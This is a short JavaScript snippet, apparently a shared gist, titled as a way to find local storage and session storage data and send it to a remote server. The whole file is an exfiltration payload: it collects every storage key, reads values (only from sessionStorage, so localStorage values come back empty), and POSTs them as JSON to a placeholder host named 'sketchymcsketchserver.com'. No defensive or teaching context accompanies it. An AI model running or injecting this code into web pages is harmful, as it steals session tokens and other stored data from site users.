find local storage and session storage data and send to a remote server

local-storage-and-session-storage.js

storedItems = [Object.keys(sessionStorage), Object.keys(localStorage)].flat().map((k) => {
  return {
    key: k, value: sessionStorage.getItem(k)
  }
})
console.log(storedItems);
let xhr = new XMLHttpRequest();
xhr.open("POST", 'https://sketchymcsketchserver.com', true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function() {
  if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
    console.log('storedItems sent!')
  }
}
xhr.send(JSON.stringify(storedItems));